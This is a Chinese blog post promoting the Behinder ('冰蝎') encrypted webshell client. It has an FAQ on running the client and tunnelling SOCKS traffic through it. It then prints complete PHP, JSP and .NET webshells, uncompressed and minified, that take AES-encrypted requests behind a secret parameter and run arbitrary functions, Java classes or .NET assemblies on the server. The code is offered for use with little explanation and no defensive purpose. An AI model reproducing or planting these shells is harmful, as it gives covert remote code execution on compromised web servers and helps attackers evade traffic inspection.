“冰蝎”动态二进制加密网站管理客户端

  • 内容
  • 相关
“冰蝎”动态二进制加密网站管理客户端

Behinder

功能介绍原文链接:

《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799

工作原理原文链接:

《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744

《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758

《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774

运行环境

客户端:jre6~jre8
服务端:.net 2.0+;php 5.4-7.2;java 6+

疑问解答

Mac系统下好像打不开?

Mac系统下需要通过-XstartOnFirstThread参数启动,java -XstartOnFirstThread -jar Behinder.jar。

PHP连接有问题?

因为采用了aes加密,请确认PHP是否开启了OpenSSL扩展,可通过echo var_dump(function_exists ("openssl_encrypt"));是否为true来判断。

直接用浏览器访问shell会报错?

客户端附带的服务端为最简版本,没有做容错处理,所以直接浏览器访问可能会报错,但是不影响客户端正常连接。如果 不介意服务端体积增加几个字节,可以自己加一些容错判断语句。

我可以对shell进行修改么?

客户端附带的服务端可以进行各种变形,只要基本逻辑不变,客户端即可正常连接。

开了socks代理,但是服务器并没有开启代理端口?

socks代理的端口不是开在远程服务器上的,是开在本地的,利用socks客户端直接连接本地IP的代理端口即可, 冰蝎会把本地端口的流量通过http隧道透传至远程服务器网络。

PHP脚本

未压缩:

<?php
session_start();
if (isset($_GET['mracat.com']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);
}
?>
压缩后:
<?php session_start();isset($_GET

['mracat.com'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt

(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>
或者:
<?php session_start();isset($_GET

['mracat.com'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt

(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);?>

JSP脚本

未压缩:

<%@ page
    import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定义ClassLoader的子类Myloader
*/
public static class Myloader extends ClassLoader {
    public Myloader(ClassLoader c) 
    {super(c);}
    public Class get(byte[] b) {  //定义get方法用来将指定的byte[]传给父类的defineClass
        return super.defineClass(b, 0, b.length);
    }
}
%>
<%
    if (request.getParameter("mracat.com")!=null) {  //判断请求方法是不是带密码的握手请求,此处只用参数名

作为密码,参数值可以任意指定
        String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  //随机生成一个16字节的

密钥
        request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
        out.print(k); //将密钥发送给客户端
        return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
    }
    /*
    当请求为非握手请求时,执行下面的分支,准备解密数据并执行
    */
    String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
    Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解

码
    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
    c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString

().getBytes(), "AES")); //从Session中取出密钥
    Byte[] classData= c.doFinal(encryptedData);  //AES解密操作
    Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法

来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
    String result= myLoader.equals(pageContext); //调用payload class的equals方法,我们在准备payload class

的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。
%>
压缩后:
<%@page 

import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U

(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if

(request.getParameter("mracat.com")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring

(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new 

SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g

(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance

().equals(pageContext);%>
或者:
<%!class U extends ClassLoader{U(ClassLoader 

c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if

(request.getParameter("mracat.com")!=null)new U(this.getClass().getClassLoader()).g(new 

sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);

%>

.NET脚本

未压缩:

<%@ Page Language="C#" %>
<%
    if (Request["mracat.com"]!=null)
    {
        Session.Add("key", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write

(Session[0]); return;
    }   
    byte[] key = Encoding.Default.GetBytes(Session[0] + "");
    byte[] content = Request.BinaryRead(Request.ContentLength);
    byte[] decryptContent = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(key, 

key).TransformFinalBlock(content, 0, content.Length);
    System.Reflection.Assembly.Load(decryptContent).CreateInstance("Payload").Equals(this);
%>
压缩后:
<%@ Page Language="C#" %><%if (Request

["mracat.com"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); 

Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = 

Request.BinaryRead(Request.ContentLength);System.Reflection.Assembly.Load(new 

System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, 

c.Length)).CreateInstance("U").Equals(this);%>
或者:
<%@ Page Language="C#" %><%if (Request

["mracat.com"]!=null)System.Reflection.Assembly.Load(Request.BinaryRead

(Request.ContentLength)).CreateInstance("U").Equals(this);%>

说明

更多文章:https://mracat.com/211.html

文章工具来源于冰蝎

猫先生已经设置回复可下载

本文标签:

收录状态:百度√[百度已收录]丨360×[360未收录]丨搜狗√[搜狗已收录]

版权声明:若无特殊注明,本文皆为《Mrcat》原创,转载请保留文章出处。

本文链接:“冰蝎”动态二进制加密网站管理客户端 - https://mracat.com/212.html

用手机扫描访问本文章

发表评论

电子邮件地址不会被公开。 必填项已用*标注

请勿乱用他人邮箱,否者您将收不到最新动态消息~

评论

1条评论
  1. avatar

    Unname_Max Lv.1 Chrome 72.0.3626.121 Chrome 72.0.3626.121 Windows Windows 回复

    谢谢

    福建省福州市 联通